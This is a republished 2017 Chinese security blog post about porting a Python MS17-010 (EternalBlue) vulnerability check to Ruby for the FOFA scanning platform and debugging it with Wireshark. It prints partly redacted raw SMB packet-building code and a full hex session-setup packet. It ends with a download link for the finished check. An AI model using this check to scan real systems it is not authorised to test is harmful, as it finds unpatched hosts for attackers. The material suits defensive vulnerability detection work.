如何转换永恒之蓝(Eternalblue)的POC

发表于:2017-06-08 11:07:16 来源:  FreeBuf.COM 阅读数(0人)

这个POC价值20个F币(20F币=300人民币)。最近写了一些POC在FOFA平台拿了点零花钱,不过我更喜欢帮助其他小伙伴,大家一起分享。大牛们写文章越来越少,小牛们只能报团取暖。


刚好,一些客户没有从勒索病毒“永恒之蓝”的阴影中走出来,看FOFA上还没有此POC,我准备写一个。


一开始以为FOFA只支持Web应用层的POC,不能支持网络层的。研究后发现FOFA是支持Ruby的POC,Ruby能做Web编程和系统编程。于是我给自己定了目标:将MS17010的POC录进FOFA里面。


研究Python的shellcode


经过一翻研究,我决定将巡风的POC转成Ruby的POC,FOFA只支持Ruby,不支持Python,这个跟seebug相反。


在t00ls有哥们说我本末倒置了:巡风的POC就是从MSF的EXP转的,而MSF的EXP是Ruby写的,囧。那我还转个啥?


当然不是这样!不是我不能用MSF的shellcode,而是刚学习Ruby,暂时没有这个能力读懂MSF框架的代码,二来巡风的也是将MS17010的exp整合的很好。而其他的Python版本的POC都是按Windows操作系统分类的,要么就是调用方程式黑客武器的那个XML和EXE文件实现的。


而巡风的Python脚本是支持所有Windows操作系统的。


代码如下:(ps:不想看的老司机们用力一划,就下去了)


#-*- coding: UTF-8 -*-
import binascii
import socket

FOFAquery = 'protocol=smb&& banner="windows"'
defget_tree_connect_request(ip, tree_id):
ipc = "005c5c" + binascii.hexlify(ip) + "5c49504324003f3f3f3f3f00"
ipc_len_hex = hex(len(ipc) / 2).replace("0x", "")
smb = "ff534d4275000000001801280000000000000000000000000000729c" + binascii.hexlify(
tree_id) + "c4e104ff00000000000100" + ipc_len_hex + "00" + ipc
   tree = "000000" + hex(len(smb) / 2).replace("0x", "") + smb
tree_connect_request = binascii.unhexlify(tree)
return tree_connect_request
defcheck(ip, port, timeout):
negotiate_protocol_request = binascii.unhexlify(
"shellcode区域")
session_setup_request = binascii.unhexlify(
"shellcode区域")
try:
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((str(ip), int(port)))
s.send(negotiate_protocol_request)
s.recv(1024)
s.send(session_setup_request)
       data = s.recv(1024)
user_id = data[32:34]
       session_setup_request_2 = binascii.unhexlify(
"00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify(
user_id) + "shellcode区域")
s.send(session_setup_request_2)
s.recv(1024)
       session_setup_request_3 = binascii.unhexlify(
"shellcode区域")
s.send(session_setup_request_3)
       data = s.recv(1024)
tree_id = data[32:34]
smb = get_tree_connect_request(ip, tree_id)
s.send(smb)
s.recv(1024)
POC = binascii.unhexlify(
"0000004aff534d422500000000180128000000000000000000000000" + binascii.hexlify(
user_id) + "729c" + binascii.hexlify(
tree_id) + "shellcode区域")
s.send(POC)
       data = s.recv(1024)
if "\x05\x02\x00\xc0" in data:
return True
return False
s.close()
except Exception,e:
#print str(e)
return False
defverify(hostinfo):
ip,port = hostinfo.split(":")
   result = check(ip,port,5)
return result
if __name__ == '__main__':
print verify("8.8.8.8.230:445")

转为Ruby的shellcode


我根据其思路,将其中的shellcode转化为Ruby语言就达到我的目的了。


FOFA客户端的框架比其他的框架简单,一会我就准备好了代码,可是发现运行的时候卡在这边,百思不得骑姐???


加了begin和rescue..end也没有爆出什么异常。


按Ctrl+c发现连接被重置,但是不科学呀?shellcode完全和Python的一模一样啊。




检查了几遍程序发现没有语法问题,也没有逻辑问题。


可是之前没有出现这个问题啊,扫描的时候能扫出没有补丁的还有关闭445端口的,但是扫到有漏洞的时候总是卡死在一个界面。


小伙伴看到说:小伙子啊,你这样不给力啊T T。


心怀不惩的我去吃饭,神秘大牛将最后一口饭吃下去之后,抿了下嘴巴,说半小时搞不定来找我。


半小时后,我只能去找他了。


定位问题


下面是他表演的时刻,文笔有限,尽量还原当时的情景。


首先,我将环境给他看了下,他说肯定是你shellcode哪些字符出问题。


我:不可能啊,都是复制粘贴进去的。

他:你能保证你发的包出去就是对的?

我:…

他:来,环境搞好。

我汹汹打开虚拟机




多么精致的2003R2啊,可惜我就是没有把POC弄好。


首先确认IP地址。很多次我搞错IP,有同感的举手:)。


先用Python检测确定这个系统存在漏洞POC。




提示True,说明存在漏洞。(值得一提的一点是先发送错误的payload会让之后正确的payload也利用失败,这个时候请重启系统) 那么这时候我们开启Wireshark抓包再次利用一下。


设定如下:




将抓取到Python发送的数据包保存为230_Python.pcapng


用Ruby发包,抓取Ruby发送的数据包保存为230_Ruby.pcapng




期中Ruby爆出的异常是:An existing connection was forcibly closed by remote host(被远程主机强制断开了,定位到46行。


按照出异常的经验,一般是前面数据包包的shellcode出现问题导致主机主动断开连接。然后我分析了三次数据包,发包和收包。


这个漏洞是基于445端口的SMB服务。



图:由攻击者发送的第3个SMB包


下图右侧Ruby的POC发送第三个时显示红色Malformed Packet(恶意格式的数据包)



图:Python和Ruby发送的第3个数据包,正常和异常效果对比


右边是Ruby的包,左边是Python的包。右边变红了,这个比股票变绿了可怕。




选择第3个由客户端发送的SMB包,右键,Copy(复制)->Byte(位)->OffsetHex。复制出数据包的Hex值发现明显不相同(不相同处要标红)。相同的POCshellcode为何发送的数据包不一样呢?



图:Python和Ruby发送的数据包内容不一样


而shellcode是一样的


code区域:Python的MS17010利用shellcode


session_setup_request_2 = binascii.unhexlify(
"00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify(
user_id) + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000")
s.send(session_setup_request_2)
s.recv(1024)

code区域:Ruby的MS17010利用shellcode


buf3 = "00000150ff534d4273000000001801280000000000000000000000000000729c" + user_id.unpack(
'H*').first + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000"
buf3 = [buf3].pack('H*')

找到答案


难道是Ruby的Hex解码和Python的Hex解码有差异?相同的shellcode,不同语言,发送不同的数据包。


神秘大牛很确定得告诉我这个是不可能的!问题可能来自这2者语法不同


神秘大牛怀疑是:Python中的切片和Ruby中的字符串截取不一样。


s.send(session_setup_request)
data = s.recv(1024)
user_id = data[32:34]

打开Ruby的调试环境:irb




定义一个变量a=’10086’


用a[2..4]做一个切片,我们从中可以看出a在内存的位置是从0算起的,共三位,2~4就是“086”


再看看Python


a = "10086"
print a[2:4]

运行结果:




运行的结果居然是“08”。


Python的切片是最后一位属于界定位,不包含在内。


所以将Ruby中的切片改为:[32:33]就行了。


还有一个小坑:


Ruby会自动对字符识别做转换,在Python不会,所以Ruby在转换的时候就会报错,解决的方法就是加一个编码转化回ascii。


Code区域:


ifdata.include? "\x05\x02\x00\xc0".force_encoding('ASCII-8BIT')

成就感


总结下,要使用一门语言还是要学习深入一点~


而Ruby我第一次用(/ □ \)


硬着头皮上了~重要的还是细心,一步步解决问题明显很迷人~~。然后放一下扫描的图片。



图:Ruby的漏洞测试代码调试成功


Ruby语言不但可以支持Web编程,还可以支持系统编程,与Python一样,Python能实现的POC其实Ruby也是可以实现。而FOFA客户端正是支持Ruby的。神秘大牛还说Ruby是妹子用的最多的语言,单身的朋友们入坑吧。


离开时,神秘大牛告诉我他叫:Zwell


福利


文末福利,附上这次的POC,FOFA VIP可以省下25F币了。


链接:http://pan.baidu.com/s/1o791mrC 密码:w3c1


相关新闻

大家都在学

课程详情

信息安全基础

课程详情

网络安全漫谈

课程详情

网络安全基础